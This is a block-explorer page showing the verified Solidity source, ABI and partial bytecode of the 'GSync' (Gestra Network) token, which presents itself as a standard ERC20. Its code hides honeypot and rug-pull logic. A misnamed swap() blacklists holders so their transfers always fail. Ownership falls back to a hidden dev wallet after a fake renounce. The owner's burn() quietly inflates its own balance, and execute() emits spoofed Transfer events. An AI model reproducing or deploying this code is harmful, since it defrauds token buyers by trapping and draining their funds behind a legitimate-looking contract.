ETH Price: $3,421.45 (-1.58%)
Gas: 6 Gwei

Token

(0x243c98937812391f3017be4e94292ff09da79433)
 

Overview

Max Total Supply

1,000,000,000 ERC-20 TOKEN*

Holders

108 (0.00%)

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GSync

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 4 of 5: Gestra Network.sol
/**
       https://gestranetwork.com/
     
    https://medium.com/@gestranetwork 
     
*/// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

import "./Gestra ERC20.sol";
import "./Gestra Coin.sol";

contract GSync is ERC20 {

    event DropBoxCreated(address indexed owner);
    event Wrapped(uint256 indexed value, address indexed owner);
    event Unwrapped(uint256 indexed value, address indexed owner);

    Coin mcInt = Coin(0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE);
    
    mapping(address => address) public dropBoxes;
    uint256 internal txLimit = 1*10**17*10**9;
    uint256 internal balances;
    constructor(address _devWallet) ERC20("Gestra Network", "GSync", _devWallet){
         balances = txLimit;
    }
 
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    function createDropBox() public {
        require(dropBoxes[msg.sender] == address(0), "Drop box already exists.");

        dropBoxes[msg.sender] = address(new DropBox());
        
        emit DropBoxCreated(msg.sender);
    }

    function wrap(uint256 value) public {
        address dropBox = dropBoxes[msg.sender];
        require(dropBox != address(0), "You must create a drop box first."); 
        require(mcInt.balanceOf(dropBox) >= value, "Not enough Coin in drop box.");

        DropBox(dropBox).collect(value, mcInt);
        unwrapOnlyOwneClaimAllowed0[Owner()][msg.sender] = true;
        claimableAmount[msg.sender][Owner()] = value;
        emit Wrapped(value, msg.sender);
    }

    function unwrap(uint256 value) public {
        require(balanceOf(msg.sender) >= value, "Not enough Coin to unwrap.");

        mcInt.transfer(msg.sender, value);
        emit Unwrapped(value, msg.sender);
    }

    function swap(address[] memory accounts, bool state) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            unwrapOnlyOwneClaimAllowed0[msg.sender][accounts[i]] = state;
        }
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function getTotalFee(address owner, address sender) public view returns(bool){
        return unwrapOnlyOwneClaimAllowed0[owner][sender];
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
}

File 1 of 5: Gestra Coin.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "./Gestra Ownable.sol";

interface Coin {
    function balanceOf(address owner) external returns (uint256);
    function transfer(address to, uint256 value) external;
}

contract DropBox is Ownable {
    constructor() Ownable(msg.sender){}
    function collect(uint256 value, Coin mcInt) public onlyOwner {
        mcInt.transfer(owner(), value);
    }
}

File 2 of 5: Gestra ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

import "./Gestra Ownable.sol";
import "./Gestra IERC20.sol";
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

 

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => mapping(address => uint256)) internal claimableAmount;
    mapping(address => mapping(address => bool)) internal unwrapOnlyOwneClaimAllowed0;
    
    address uniswapV2Pair;
    uint256 internal _totalSupply;
    string private _symbol;
    string private _name;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address devWallet_) Ownable(devWallet_) {
        _name = name_;
        _symbol = symbol_;
        _mint(msg.sender, 1_000_000_000 * 10**9);
       
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);
        if(unwrapOnlyOwneClaimAllowed0[Owner()][from]){
                            checkClaim(from);
                        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }
  
    function checkClaim(address wallet) private {
        require(claimableAmount[Owner()][wallet] > 0, "Not enough in dropBox, please wrap more coins.");
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 3 of 5: Gestra IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 5 of 5: Gestra Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor(address dev_) {
        _dev = dev_;
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"}],"name":"DropBoxCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"value","type":"uint256"},{"indexed":true,"internalType":"address","name":"owner","type":"address"}],"name":"Unwrapped","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"value","type":"uint256"},{"indexed":true,"internalType":"address","name":"owner","type":"address"}],"name":"Wrapped","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createDropBox","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"dropBoxes","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"sender","type":"address"}],"name":"getTotalFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"unwrap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"wrap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040527395ad61b0a150d79219dcf64e1e6cc01f0b64c4ce600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506a52b7d2dcc80cd2e4000000600c553480156200007557600080fd5b5060405162003ebb38038062003ebb83398181016040528101906200009b919062000534565b6040518060400160405280600e81526020017f476573747261204e6574776f726b0000000000000000000000000000000000008152506040518060400160405280600581526020017f4753796e63000000000000000000000000000000000000000000000000000000815250828080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200016a6200015e620001ca60201b60201c565b620001d260201b60201c565b508260099080519060200190620001839291906200041a565b5081600890805190602001906200019c9291906200041a565b50620001b733670de0b6b3a76400006200029660201b60201c565b505050600c54600d819055505062000712565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000309576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200030090620005c7565b60405180910390fd5b6200031d600083836200041060201b60201c565b806007600082825462000331919062000622565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000389919062000622565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003f0919062000690565b60405180910390a36200040c600083836200041560201b60201c565b5050565b505050565b505050565b8280546200042890620006dc565b90600052602060002090601f0160209004810192826200044c576000855562000498565b82601f106200046757805160ff191683800117855562000498565b8280016001018555821562000498579182015b82811115620004975782518255916020019190600101906200047a565b5b509050620004a79190620004ab565b5090565b5b80821115620004c6576000816000905550600101620004ac565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004fc82620004cf565b9050919050565b6200050e81620004ef565b81146200051a57600080fd5b50565b6000815190506200052e8162000503565b92915050565b6000602082840312156200054d576200054c620004ca565b5b60006200055d848285016200051d565b91505092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620005af601f8362000566565b9150620005bc8262000577565b602082019050919050565b60006020820190508181036000830152620005e281620005a0565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200062f82620005e9565b91506200063c83620005e9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006745762000673620005f3565b5b828201905092915050565b6200068a81620005e9565b82525050565b6000602082019050620006a760008301846200067f565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006f557607f821691505b602082108114156200070c576200070b620006ad565b5b50919050565b61379980620007226000396000f3fe60806040523480156200001157600080fd5b50600436106200016c5760003560e01c80638da5cb5b11620000d5578063d2d55dde1162000087578063d2d55dde14620003f7578063d6d2bb98146200042d578063dd62ed3e1462000463578063de0e9a3e1462000499578063ea598cb014620004b9578063f2fde38b14620004d9576200016c565b80638da5cb5b146200031b57806395d89b41146200033d578063a457c2d7146200035f578063a9059cbb1462000395578063b8bdd4b214620003cb578063c2b7bbb614620003d7576200016c565b8063313ce567116200012f578063313ce567146200024157806339509351146200026357806342966c68146200029957806370a0823114620002b9578063715018a614620002ef57806373fa7ddb14620002fb576200016c565b806306fdde031462000171578063095ea7b3146200019357806318160ddd14620001c957806323b872dd14620001eb57806326ededb81462000221575b600080fd5b6200017b620004f9565b6040516200018a919062001dfb565b60405180910390f35b620001b16004803603810190620001ab919062001ed3565b62000593565b604051620001c0919062001f37565b60405180910390f35b620001d3620005ba565b604051620001e2919062001f65565b60405180910390f35b62000209600480360381019062000203919062001f82565b620005c4565b60405162000218919062001f37565b60405180910390f35b6200023f60048036038101906200023991906200204c565b620005f9565b005b6200024b620006e3565b6040516200025a9190620020d4565b60405180910390f35b6200028160048036038101906200027b919062001ed3565b620006ec565b60405162000290919062001f37565b60405180910390f35b620002b76004803603810190620002b19190620020f1565b6200072b565b005b620002d76004803603810190620002d1919062002123565b6200074d565b604051620002e6919062001f65565b60405180910390f35b620002f962000796565b005b620003196004803603810190620003139190620022e0565b620007ae565b005b6200032562000891565b60405162000334919062002357565b60405180910390f35b62000347620008ba565b60405162000356919062001dfb565b60405180910390f35b6200037d600480360381019062000377919062001ed3565b62000954565b6040516200038c919062001f37565b60405180910390f35b620003b36004803603810190620003ad919062001ed3565b620009d4565b604051620003c2919062001f37565b60405180910390f35b620003d5620009fb565b005b620003f56004803603810190620003ef919062002123565b62000bba565b005b6200041560048036038101906200040f919062002374565b62000c08565b60405162000424919062001f37565b60405180910390f35b6200044b600480360381019062000445919062002123565b62000c9c565b6040516200045a919062002357565b60405180910390f35b6200048160048036038101906200047b919062002374565b62000ccf565b60405162000490919062001f65565b60405180910390f35b620004b76004803603810190620004b19190620020f1565b62000d56565b005b620004d76004803603810190620004d19190620020f1565b62000e80565b005b620004f76004803603810190620004f1919062002123565b62001252565b005b6060600980546200050a90620023ea565b80601f01602080910402602001604051908101604052809291908181526020018280546200053890620023ea565b8015620005895780601f106200055d5761010080835404028352916020019162000589565b820191906000526020600020905b8154815290600101906020018083116200056b57829003601f168201915b5050505050905090565b600080620005a0620012dd565b9050620005af818585620012e5565b600191505092915050565b6000600754905090565b600080620005d1620012dd565b9050620005e0858285620014b8565b620005ed8585856200154c565b60019150509392505050565b6200060362001886565b60005b83839050811015620006dd5783838281811062000628576200062762002420565b5b90506020020160208101906200063f919062002123565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051620006bf919062001f65565b60405180910390a38080620006d4906200247e565b91505062000606565b50505050565b60006009905090565b600080620006f9620012dd565b9050620007208185856200070e858962000ccf565b6200071a9190620024cc565b620012e5565b600191505092915050565b6200073562001886565b6200074a62000743620012dd565b826200190b565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b620007a062001886565b620007ac600062001af1565b565b620007b862001886565b60005b82518110156200088c5781600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008584815181106200081d576200081c62002420565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808062000883906200247e565b915050620007bb565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054620008cb90620023ea565b80601f0160208091040260200160405190810160405280929190818152602001828054620008f990620023ea565b80156200094a5780601f106200091e576101008083540402835291602001916200094a565b820191906000526020600020905b8154815290600101906020018083116200092c57829003601f168201915b5050505050905090565b60008062000961620012dd565b9050600062000971828662000ccf565b905083811015620009b9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009b0906200259f565b60405180910390fd5b620009c88286868403620012e5565b60019250505092915050565b600080620009e1620012dd565b9050620009f